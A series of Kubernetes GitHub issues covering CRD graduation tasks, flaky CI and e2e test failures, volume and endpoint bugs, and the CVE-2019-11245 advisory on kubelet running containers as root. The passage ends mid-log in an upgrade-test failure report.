this is a continuation of the  customresourcedefinition feature  https://github.com/kubernetes/features/issues/95 . \r \r as discussed earlier, the plan is to go ga. this is the list of tasks that need to be addressed for crds.\r \r please categorize  do not remove, please  whichever does not seem appropriate for moving to ga and put your name behind it. if you want to add any notes specific to a task, please list it as a bullet point and again, put your name behind it.\r \r    features\r \r     ga-blocking\r \r -  x  generate openapi spec for registered crds  https://github.com/kubernetes/kubernetes/pull/71192,  49465 \r     -  @sttts: features in kubectl rely on this\r -     customresourcevalidation feature to stable  62323   will be promoted along with v1 api \r -     customresourcesubresources feature to stable  will be promoted along with v1 api \r -     customresourcewebhookconversion feature to stable  will be promoted along with v1 api \r   -  x  https://github.com/kubernetes/kubernetes/issues/64136\r   -     conversionreview api to v1   will be promoted along with v1 api \r   -     scale test, ensure adequate metrics - tracked in https://github.com/kubernetes/enhancements/pull/1015\r   -  x  resolve how webhooks indicate they want  v1  or  v1beta1  conversionreview objects sent to them\r -  x  rename  validation  ->  schema  in v1   64483 \r -  x  support quota for custom resources   53777, kubernetes/community 798,  64201 \r     - @sttts: critical for enterprise workloads\r -     ~~prevent metadata update on subresource update  validate no changes were made ~~\r     - @nikhita: done for crs, but not crds\r     - @liggitt: the current behavior for crs was the important one for ga\r -  x  defaulting and pruning for custom resources   59151,  63604 \r     - @nikhita: design proposals and wip prs open  kubernetes/community 2443,  63604 \r \r     post-ga\r -     human readable status from conditions for a crd using additionalprintercolumns   67268 \r   - @liggitt: this sounds like a good candidate for future enhancement, but not ga-blocking\r -     ~~consider changing the schema language in crds   67840 ~~\r   - @liggitt: resolved by https://github.com/kubernetes/enhancements/blob/master/keps/sig-api-machinery/20190425-structural-openapi.md\r -  x  should support graceful deletion for storage   68508 \r -     enable arbitrary crd field selectors by supporting a whitelist of fields in crd spec   53459 \r     - @sttts: optional, can be added later\r -     support graceful deletion for custom resources   56567 \r     - @sttts: optional, can be added later\r -     ~~crd validation webhooks  kubernetes/community 1418 ~~\r     - @sttts: admission webhooks work today. more can be added later\r     - @liggitt: validating webhooks cover this sufficiently\r -     allow openapi references in the crd validation schema   54579,  62872 \r     - @sttts: optional, convenience, can be added later\r -     generate json-schema for use in the crds from the go types   59154, kubernetes/sample-controller 2, kubernetes/code-generator 28 \r     - @sttts: only developer convenience\r -     support for namespace-local crd   65551 \r     - @sttts: optional feature, can be added later\r     - @nikhita: we will probably not do this any time soon\r -     support proto encoding for custom resources   63677 \r     - @nikhita: can be added later\r -  x   labelselectorpath  should be allowed not be under  .status    66688 \r     - @liggitt: this can be expanded if there is a need for it, and it is  not clear  https://github.com/kubernetes/kubernetes/issues/66688 issuecomment-425996199  this is desired\r -     support arbitrary non-standard subresources for crds  https://github.com/kubernetes/kubernetes/issues/72637 \r   - @liggitt: it is not clear that this is a pattern we want to encourage, and should not block graduating the standard rest spec/status feature set\r \r     completed features\r -  x  support multiple crd apiversions and migration   57316, kubernetes/features 544,  60113,  63518 \r     -  x  support for no-op conversion versioning   63830 \r     -  x  webhook conversion for custom resources  kubernetes/features 598, kubernetes/community 2420 \r -  x  allow retries on patch conflicts   58017,  58414 \r -  x  subresources for custom resources   38113 \r -  x  better kubectl printing for custom resources   31343,  58603 60991 \r -  x  allow to specify categories for custom resources   59561 \r -  x  customresourcedefinitions should support maps in openapi schema   59485 \r -  x  allow more fields at root of crd schema when status is enabled   65293 \r -  x  support api paging for crds and custom resources   67861 \r \r     rejected or out-of-scope feature requests\r - allow modifying cr metadata on status update via modifying webhook   70084 \r     - @liggitt: allowing admission to make changes that would not be allowed via the api is not desired\r - support crds in dashboard  kubernetes/dashboard 2493 \r     - @sttts: the dashboard is only one of many consumers. not critical\r - fix  kubectl get --export  for custom resources   48211 \r     - @sttts: optional feature\r     - @liggitt: export support for all objects is still under consideration - https://github.com/kubernetes/kubernetes/issues/24855\r \r    bugs\r \r     ga-blocking\r \r -     kubectl get with a short name/category will error on the first try   65517 \r -  x  invalid regex in openapi validation crashes api server   65470 \r -     rename customresourcecolumndefinition  jsonpath  as  jsonpath  for v1   66531, tracked in https://github.com/orgs/kubernetes/projects/28 \r -     crd established condition has null for lasttransitiontime   69654, tracked in https://github.com/orgs/kubernetes/projects/28 \r -     crds created in old versions don't have .metadata.generation   68998, tracked in https://github.com/orgs/kubernetes/projects/28 \r -     crd validation error from 1.11 server was not correct, lacks details of errors   68787, tracked in https://github.com/orgs/kubernetes/projects/28 \r -     crd cannot have a field named 'items'   68466, tracked in https://github.com/orgs/kubernetes/projects/28 \r \r     non-ga blocking\r -     ~~watcher falls into infinite loop on bad custom resource manifests   57705 ~~\r     - @sttts: should be fixed, but is no deep problem\r -     ~~crd age does not change from  <invalid>  as soon as it becomes established   57042 ~~\r     - @sttts: should be fixed, but is no deep problem\r     - @liggitt: this is actually a client clock skew issue\r -     ~~apiextensions discovery is broken without kube-aggragator   68971 ~~\r     - @liggitt: still under investigation, working as intended in kube-apiserver\r \r     completed bugs\r -  x  kubectl is inconsistent when the crd has the same names as that of a native resource   42521 \r     - @sttts: consistency issue, must be fixed\r -  x  collect prometheus metrics for custom resources   55146 \r -  x  validate metadata and persist label/annotation values properly   59451 \r -  x  allow  required  and  description , along with  properties  in the root schema when the status subresource is enabled   63533,  64766 \r -  x  creating a custom resource with non-traditional plurals _and_ subresources doesn't work with kubectl for 1.11   67235 \r -  x  resourceversion is incremented for custom resources on no-op writes   67541 \r \r    tech debt\r -     add crd garbage collector tests to cover aggregated api server   49801 \r -     revisit creating customresourcedefinitions from apiextensions-apiserver integration tests   63656 \r -  x  add e2e test for crd watch   55538 \r -  x  apimachinery passes through unstructured in inconsistent ways   60312 \r \r /cc @sttts @deads2k @enisoc @liggitt @ironcladlou @mbohlool @lavalamp @caesarxuchao @jennybuckley @ash2k @munnerz

is this a bug report or feature request?  :\r    / \r   what happened  :\r  pull-kubernetes-unit  intermittently fails on two of my prs:\r    60011\r    60073 \r \r despite no changes to pr.\r \r   what you expected to happen  :\r for all tests to pass : \r \r   anything else we need to know?  :\r i was thumbing through the  logs  https://k8s-gubernator.appspot.com/pr/60011  as i assumed there were issues specifically related to my prs, but when checking the  pr logs  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-unit  for  pull-kubernetes-unit , i noticed that this seems to be failing ~50% of the time.\r \r ! screenshot from 2018-02-25 18-02-48  https://user-images.githubusercontent.com/567897/36647606-3a1cfd1a-1a56-11e8-961d-ffa3b66e2e2f.png \r \r links to a few of the  failing tests  http://gcsweb.k8s.io/gcs/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-unit/ :\r   https://storage.googleapis.com/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-unit/82678.txt\r   https://storage.googleapis.com/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-unit/82675.txt\r   https://storage.googleapis.com/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-unit/82673.txt\r   https://storage.googleapis.com/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-unit/82668.txt\r

   break  switch or  break  loop\r  switch  do not need  break \r sometimes we expect to break  for loop .\r \r such as:\r https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/cluster/images/etcd-version-monitor/etcd-version-monitor.go l252\r \r https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/pkg/volume/flocker/flocker.go l398\r \r https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/pkg/scheduler/core/generic_scheduler.go l1063\r \r https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/pkg/kubectl/cmd/set/helper.go l103\r \r https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/pkg/util/mount/mount.go l304\r \r https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/pkg/util/mount/mount.go l306\r \r https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/pkg/kubelet/types/pod_update.go l95\r \r https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/pkg/kubelet/types/pod_update.go l97

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r e2e test \  sig-network  network  it  should set tcp close_wait timeout\  requires the test target os supports /proc/net/nf_conntrack, but ubuntu 16.04 doesn't support it.\r then the test fails today like the following:\r    \r step: checking /proc/net/nf_conntrack for the timeout\r sep 17 23:29:38.946: info: getting external ip address for k8s-master\r sep 17 23:29:38.946: info: ssh \ sudo cat /proc/net/nf_conntrack | grep 'dport=11302'\  on k8s-master 192.168.1.108:22 \r sep 17 23:29:39.258: info: ssh ubuntu@192.168.1.108:22: command:   sudo cat /proc/net/nf_conntrack | grep 'dport=11302'\r sep 17 23:29:39.259: info: ssh ubuntu@192.168.1.108:22: stdout:    \ \ \r sep 17 23:29:39.259: info: ssh ubuntu@192.168.1.108:22: stderr:    \ cat: /proc/net/nf_conntrack: no such file or directory\ \ \r sep 17 23:29:39.260: info: ssh ubuntu@192.168.1.108:22: exit code: 1\r sep 17 23:29:39.260: info: unexpected error occurred: failed running \ sudo cat /proc/net/nf_conntrack | grep 'dport=11302'\ : <nil>  exit code 1 \r  aftereach   sig-network  network\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142\r ...\r ~ failure  18.318 seconds \r  sig-network  network\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/framework.go:22\r   should set tcp close_wait timeout  it \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/kube_proxy.go:50\r \r   expected error:\r       < errors.errorstring | 0xc420b0e430>: {\r           s: \ failed running \\\ sudo cat /proc/net/nf_conntrack | grep 'dport=11302'\\\ : <nil>  exit code 1 \ ,\r       }\r       failed running \ sudo cat /proc/net/nf_conntrack | grep 'dport=11302'\ : <nil>  exit code 1 \r   not to have occurred\r \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/kube_proxy.go:178\r ------------------------------\r    \r \r   what you expected to happen  :\r \r the test succeeded or was skipped.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just kick\r    \r $ go run hack/e2e.go --provider=skeleton -- test --test_args=\ --ginkgo.focus=should\\sset\\stcp\\sclose_wait\\stimeout\ \r    \r   anything else we need to know?  :\r \r the existence of /proc/net/nf_conntrack depends on the linux kernel config config_nf_conntrack_procfs, but that is disabled on ubuntu 16.04.\r in addition, the test is skipped if the node number is less than 2.\r so i guess that is one of reasons this issue was not present until today.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.3\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts\r - kernel  e.g.  uname -a  : 4.4.0-134-generic\r - install tools: kubeadm\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  ci-kubernetes-e2e-gce-cos-k8sbeta-serial  - 1.14-blocking/gce-cos-1.14-serial\r  ci-kubernetes-e2e-gce-new-master-upgrade-cluster  - master-upgrade/gce-new-master-upgrade-cluster\r \r   which test s  are failing  :\r   sig-storage  csi volumes  driver: csi-hostpath-v0   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow  \r -  ci-kubernetes-e2e-gce-cos-k8sbeta-serial  1924  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-serial/1924 \r -  ci-kubernetes-e2e-gce-new-master-upgrade-cluster  2862  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2862 \r \r   since when has it been failing  :\r it has been failing since 3/23 in 1.14-blocking, and since 3/22 in master-upgrade. \r for master-upgrade, the following jobs contain the same test but in a passing state:\r - ci-kubernetes-e2e-gce-new-master-upgrade-master\r - ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new\r - ci-kubernetes-e2e-gce-master-new-downgrade-cluster\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-serial\r https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster\r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:298\r expected grep stdout to be empty  i.e. no mount found .\r expected\r     <string>: overlay on /var/lib/kubelet/pods/7a42ba64-4de0-11e9-b662-42010a8a0002/volumes/kubernetes.io~csi/pvc-7549b289-4de0-11e9-b662-42010a8a0002/mount type overlay  rw,relatime,lowerdir=/var/lib/docker/overlay2/l/qwmgmghrfht4ipz6hqvb3floxf:/var/lib/docker/overlay2/l/pt3gnh5rgiwsvkdjuybcoxj5tg:/var/lib/docker/overlay2/l/z5xv2ua5qegerwip46vxdwt5nb,upperdir=/var/lib/docker/overlay2/212eafdeca0a8e6bcf84f4a1c6569eaf3a2948cdd96cd682ceeefb1bd169c49a/diff,workdir=/var/lib/docker/overlay2/212eafdeca0a8e6bcf84f4a1c6569eaf3a2948cdd96cd682ceeefb1bd169c49a/work \r     overlay on /var/lib/kubelet/pods/7a42ba64-4de0-11e9-b662-42010a8a0002/volumes/kubernetes.io~csi/pvc-7549b289-4de0-11e9-b662-42010a8a0002/mount type overlay  rw,relatime,lowerdir=/var/lib/docker/overlay2/l/qwmgmghrfht4ipz6hqvb3floxf:/var/lib/docker/overlay2/l/pt3gnh5rgiwsvkdjuybcoxj5tg:/var/lib/docker/overlay2/l/z5xv2ua5qegerwip46vxdwt5nb,upperdir=/var/lib/docker/overlay2/212eafdeca0a8e6bcf84f4a1c6569eaf3a2948cdd96cd682ceeefb1bd169c49a/diff,workdir=/var/lib/docker/overlay2/212eafdeca0a8e6bcf84f4a1c6569eaf3a2948cdd96cd682ceeefb1bd169c49a/work \r     overlay on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/7a42ba64-4de0-11e9-b662-42010a8a0002/volumes/kubernetes.io~csi/pvc-7549b289-4de0-11e9-b662-42010a8a0002/mount type overlay  rw,relatime,lowerdir=/var/lib/docker/overlay2/l/qwmgmghrfht4ipz6hqvb3floxf:/var/lib/docker/overlay2/l/pt3gnh5rgiwsvkdjuybcoxj5tg:/var/lib/docker/overlay2/l/z5xv2ua5qegerwip46vxdwt5nb,upperdir=/var/lib/docker/overlay2/212eafdeca0a8e6bcf84f4a1c6569eaf3a2948cdd96cd682ceeefb1bd169c49a/diff,workdir=/var/lib/docker/overlay2/212eafdeca0a8e6bcf84f4a1c6569eaf3a2948cdd96cd682ceeefb1bd169c49a/work \r     overlay on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/7a42ba64-4de0-11e9-b662-42010a8a0002/volumes/kubernetes.io~csi/pvc-7549b289-4de0-11e9-b662-42010a8a0002/mount type overlay  rw,relatime,lowerdir=/var/lib/docker/overlay2/l/qwmgmghrfht4ipz6hqvb3floxf:/var/lib/docker/overlay2/l/pt3gnh5rgiwsvkdjuybcoxj5tg:/var/lib/docker/overlay2/l/z5xv2ua5qegerwip46vxdwt5nb,upperdir=/var/lib/docker/overlay2/212eafdeca0a8e6bcf84f4a1c6569eaf3a2948cdd96cd682ceeefb1bd169c49a/diff,workdir=/var/lib/docker/overlay2/212eafdeca0a8e6bcf84f4a1c6569eaf3a2948cdd96cd682ceeefb1bd169c49a/work \r     \r to be empty\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/utils/utils.go:255\r    \r \r similar issues:\r   https://github.com/kubernetes/kubernetes/issues/75326 issuecomment-475353025 \r    75196 \r \r \r /milestone v1.14\r   / \r /cc @smourapina @mariantalla @kacole2 @mortent @spiffxp @nikopen

cvss:3.0/av:l/ac:h/pr:n/ui:n/s:u/c:l/i:l/a:l  https://www.first.org/cvss/calculator/3.0 cvss:3.0/av:l/ac:h/pr:n/ui:n/s:u/c:l/i:l/a:l , 4.9  medium \r \r in kubelet v1.13.6 and v1.14.2, containers for pods that do not specify an explicit  runasuser  attempt to run as uid 0  root  on container restart, or if the image was previously pulled to the node. if the pod specified  mustrunasnonroot: true , the kubelet will refuse to start the container as root. if the pod did not specify  mustrunasnonroot: true , the kubelet will run the container as uid 0.\r \r cve-2019-11245 will be   fixed   in the following kubernetes releases:\r \r   v1.13.7 in https://github.com/kubernetes/kubernetes/pull/78320\r   v1.14.3 in https://github.com/kubernetes/kubernetes/pull/78316\r \r fixed by  78261 in master\r \r     affected components:\r \r   kubelet\r \r     affected versions:\r \r   kubelet v1.13.6\r   kubelet v1.14.2\r \r     affected configurations:\r \r clusters with:\r   kubelet versions v1.13.6 or v1.14.2\r   pods that do not specify an explicit  runasuser: <uid>  or  mustrunasnonroot:true \r \r     impact:\r \r if a pod is run without any user controls specified in the pod spec  like  runasuser: <uid>  or  mustrunasnonroot:true  , a container in that pod that would normally run as the user specified in the container image manifest can sometimes be run as root instead  on container restart, or if the image was previously pulled to the node \r \r   pods that specify an explicit  runasuser  are unaffected and continue to work properly\r   podsecuritypolicies that force a  runasuser  setting are unaffected and continue to work properly\r   pods that specify  mustrunasnonroot:true  will refuse to start the container as uid 0, which can affect availability\r   pods that do not specify  runasuser  or  mustrunasnonroot:true  will run as uid 0 on restart or if the image was previously pulled to the node\r \r     mitigations:\r \r this section lists possible mitigations to use prior to upgrading.\r \r   specify  runasuser  directives in pods to control the uid a container runs as\r   specify  mustrunasnonroot:true  directives in pods to prevent starting as root  note this means the attempt to start the container will fail on affected kubelet versions \r   downgrade kubelets to v1.14.1 or v1.13.5 as instructed by your kubernetes distribution.\r \r   original issue description follows  \r \r   what happened  :\r \r when i launch a pod from a docker image that specifies a user in the dockerfile, the container only runs as that user on its first launch.  after that the container runs as uid=0.\r \r   what you expected to happen  :\r i expect the container to act consistently every launch, and probably with the user specified in the container.\r \r   how to reproduce it  as minimally and precisely as possible   :\r testing with minikube  same test specifying v1.14.1,  kubectl logs test  always returns 11211 :\r    \r $ minikube start --kubernetes-version v1.14.2\r 😄  minikube v1.1.0 on linux  amd64 \r 💿  downloading minikube iso ...\r  131.28 mb / 131.28 mb  ============================================  100.00% 0s\r 🔥  creating virtualbox vm  cpus=2, memory=2048mb, disk=20000mb  ...\r 🐳  configuring environment for kubernetes v1.14.2 on docker 18.09.6\r 💾  downloading kubeadm v1.14.2\r 💾  downloading kubelet v1.14.2\r 🚜  pulling images ...\r 🚀  launching kubernetes ... \r ⌛  verifying: apiserver proxy etcd scheduler controller dns\r 🏄  done! kubectl is now configured to use \ minikube\ \r $ cat test.yaml\r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: test\r spec:\r   containers:\r   - name: test\r     image: memcached:latest\r     imagepullpolicy: ifnotpresent\r     command:  \ /bin/bash\  \r     args:\r     - -c\r     - 'id -u; sleep 30'\r $ kubectl apply -f test.yaml \r pod/test created\r \r   as soon as pod starts\r $ kubectl logs test\r 11211\r   wait 30 seconds for container to restart\r $ kubectl logs test\r 0\r   try deleting/recreating the pod\r $ kubectl delete pod test\r pod \ test\  deleted\r $ kubectl apply -f test.yaml \r pod/test created\r $ kubectl logs test\r 0\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : i get the results i expect in v1.13.5 and v1.14.1. the problem exists in v1.13.6 and v1.14.2\r - cloud provider or hardware configuration: minikube v1.1.0 using virtualbox\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

now that service accounts work properly, we can delete things like the dns token and the code needed to build it.

kubernetes version  :   server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6+coreos.0\ , gitcommit:\ f6f0055b8e503cbe5fb7b6f1a2ee37d0f160c1cd\ , gittreestate:\ clean\ , builddate:\ 2016-08-29t17:01:01z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }     environment  : -   cloud provider or hardware configuration  : aws -   os  : coreos -   kernel  : 4.6.3-coreos -   install tools  : kube-aws    what happened  :  some ebs volumes remain in the attachment state \ attaching\ . these ebs volumes are attached on a device name that was used for a previous attachment. looking on the worker node, the volume is not visible in the device list  eg by running  lsblk  . after a reboot of the node the volume is attached successfully. the attachment state then is \ attached\ .    expected behavior  :  the ebs volumes are attached correctly.    how to reproduce it  : 1. spin up a worker node 2. create 20 ebs volumes 3. create 19 pods with volumes attached on this node 4. remove the first pod 5. create a 20th pod with the 20th volume attached  now the 20th volume remains in the attachment state 'attaching'.  20 is not necessary the lower bound but the issue did not appear with 3 volumes.    additional information  :  it seems related to the reuse of device names. only when the device name /dev/xvdxx was already used for a previous attachment, the volume remains in the attachment state \ attaching\ . when using a lower number of volumes, it is still possible to detach-attach. only when attaching a considerable amount of volumes  about 20 , the issue appears.  according to  this aws support article  https://aws.amazon.com/premiumsupport/knowledge-center/ebs-stuck-attaching/  it is possible that the device name was not released by the block device driver after detaching.

kubernetes version   1.2.5    environment  : -   cloud provider or hardware configuration  : rackspace, no cloud provider configured -   os  : coreos 1010.5.0 -   kernel  : 4.5.0-coreos-r1  2 smp    what happened  : we have multiple services without a selector for external services and corresponding endpoints which have been created manually.   now, suddenly the endpoints vanished without any interaction from our side. what happened though was that the api, controller-manager and scheduler have been restarted at that time because of an out-of-memory situation on the 2gb node.  we checked the api log file and no deletion, put or patch was found for the affected endpoints/services.    what you expected to happen  :  first i don't expect that manual endpoints get deleted, even when a master component crashes/restarts.  second, my assumption is that the endpoint controller never touches the endpoints for a service without a selector. and even if it does it, we would see a request in the api logs.  and third, having the api process killed and restarted might probably lead to some corruption or undefined behavior but what might the api do with these endpoints which could result in deleting it?    how to reproduce it  : so far we did not find a way to reproduce it.    anything else do we need to know  :  we have very limited information about the problem and don't really expect a solution for it, but maybe somebody can explain in more details how manual endpoints are handled by the controller-manager and the api. thanks.

kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ 5e723f67f1e36d387a8a7faa6aa8a7f40cc9ca46\ , gittreestate:\ clean\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.1.859+cfbb0eb2ff6801\ , gitcommit:\ cfbb0eb2ff680173eeaa0ce91ab42f3c4f9bbc33\ , gittreestate:\ clean\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : \r \r openstack with blockstorage cinder\r \r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r i have already deleted the pod .but kubelet logs as follows:\r e1117 10:25:41.898748   29955 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/cinder/ubuntu-persistent-storage\\\   \\\ 4389375b-acab-11e6-ac07-fa163e411bde\\\  \  failed. no retries permitted until 2016-11-17 10:27:41.898715848 +0000 utc  durationbeforeretry 2m0s . error: unmountvolume.teardown failed for volume \ kubernetes.io/cinder/ubuntu-persistent-storage\   volume.spec.name: \ ubuntu-persistent-storage\   pod \ 4389375b-acab-11e6-ac07-fa163e411bde\   uid: \ 4389375b-acab-11e6-ac07-fa163e411bde\   with: remove /var/lib/kubelet/pods/4389375b-acab-11e6-ac07-fa163e411bde/volumes/kubernetes.io~cinder/ubuntu-persistent-storage: device or resource busy\r \r   what you expected to happen  :\r \r unmount the volume successfully\r \r   how to reproduce it    as minimally and precisely as possible :\r \r kubernetes run with blockstorage cinder\r \r   anything else do we need to know  :\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.4-1.5-upgrade-cluster/22/  multiple broken tests:  failed:  k8s.io  rescheduler  serial  should ensure that critical pod is scheduled in case there is no resources available {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:67 expected     <int>: 0 to equal     <int>: 1 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:59     issues about this test specifically:  31277  31347  31710  32260  32531   failed:  k8s.io  addon update should propagate add-on file changes  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/addon_update.go:316 expected error:     < errors.errorstring | 0xc8213e7320>: {         s: \ error waiting for service e2e-tests-addon-update-test-jf8d1/addon-test to appear: timed out waiting for the condition\ ,     }     error waiting for service e2e-tests-addon-update-test-jf8d1/addon-test to appear: timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/addon_update.go:320     issues about this test specifically:  35600   failed:  k8s.io  scheduledjob should not schedule new jobs when forbidconcurrent  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduledjob.go:125 expected error:     < runtime.notregisterederr | 0xc820c5c300>: {         gvk: {group: \ batch\ , version: \ v2alpha1\ , kind: \ cronjob\ },         t: nil,     }     no kind \ cronjob\  is registered for version \ batch/v2alpha1\  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduledjob.go:101       failed:  k8s.io  scheduledjob should replace jobs when replaceconcurrent {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduledjob.go:156 expected error:     < runtime.notregisterederr | 0xc820ee1d40>: {         gvk: {group: \ batch\ , version: \ v2alpha1\ , kind: \ cronjob\ },         t: nil,     }     no kind \ cronjob\  is registered for version \ batch/v2alpha1\  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduledjob.go:132     issues about this test specifically:  30542  31460  31479  31552  32032   failed: diffresources {e2e.go}      error: 1 leaked resources +bootstrap-e2e-minion-template-v1-5-0-beta-3-2-10c2db1b383d71    n1-standard-2               2016-12-09t07:19:26.398-08:00     issues about this test specifically:  33373  33416  34060   failed:  k8s.io  scheduledjob should schedule multiple jobs concurrently {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduledjob.go:72 expected error:     < runtime.notregisterederr | 0xc8214539c0>: {         gvk: {group: \ batch\ , version: \ v2alpha1\ , kind: \ cronjob\ },         t: nil,     }     no kind \ cronjob\  is registered for version \ batch/v2alpha1\  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduledjob.go:57     issues about this test specifically:  31657  35876   failed:  k8s.io  kibana logging instances is alive should check that the kibana logging instance is alive {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kibana_logging.go:42 expected error:     < errors.statuserror | 0xc820c0b980>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get services kibana-logging \ ,             reason: \ internalerror\ ,             details: {                 name: \ kibana-logging\ ,                 group: \ \ ,                 kind: \ services\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ unknown\ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 503,         },     }     an error on the server  \ unknown\   has prevented the request from succeeding  get services kibana-logging  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kibana_logging.go:98     issues about this test specifically:  31420   failed:  k8s.io  deployment overlapping deployment should not fight with each other {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:92 failed to update the first deployment's overlapping annotation expected error:     < errors.errorstring | 0xc820180a10>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:1244     issues about this test specifically:  31502  32947   failed:  k8s.io  scheduledjob should not schedule jobs when suspended  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduledjob.go:94 expected error:     < runtime.notregisterederr | 0xc820c10580>: {         gvk: {group: \ batch\ , version: \ v2alpha1\ , kind: \ cronjob\ },         t: nil,     }     no kind \ cronjob\  is registered for version \ batch/v2alpha1\  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduledjob.go:80     issues about this test specifically:  32035  34472   failed:  k8s.io  scheduledjob should not emit unexpected warnings {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduledjob.go:178 expected error:     < runtime.notregisterederr | 0xc820c1e9c0>: {         gvk: {group: \ batch\ , version: \ v2alpha1\ , kind: \ cronjob\ },         t: nil,     }     no kind \ cronjob\  is registered for version \ batch/v2alpha1\  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduledjob.go:163     issues about this test specifically:  32034  34910   failed:  k8s.io  monitoring should verify monitoring pods and all cluster nodes are available on influxdb using heapster. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/monitoring.go:43 expected error:     < errors.statuserror | 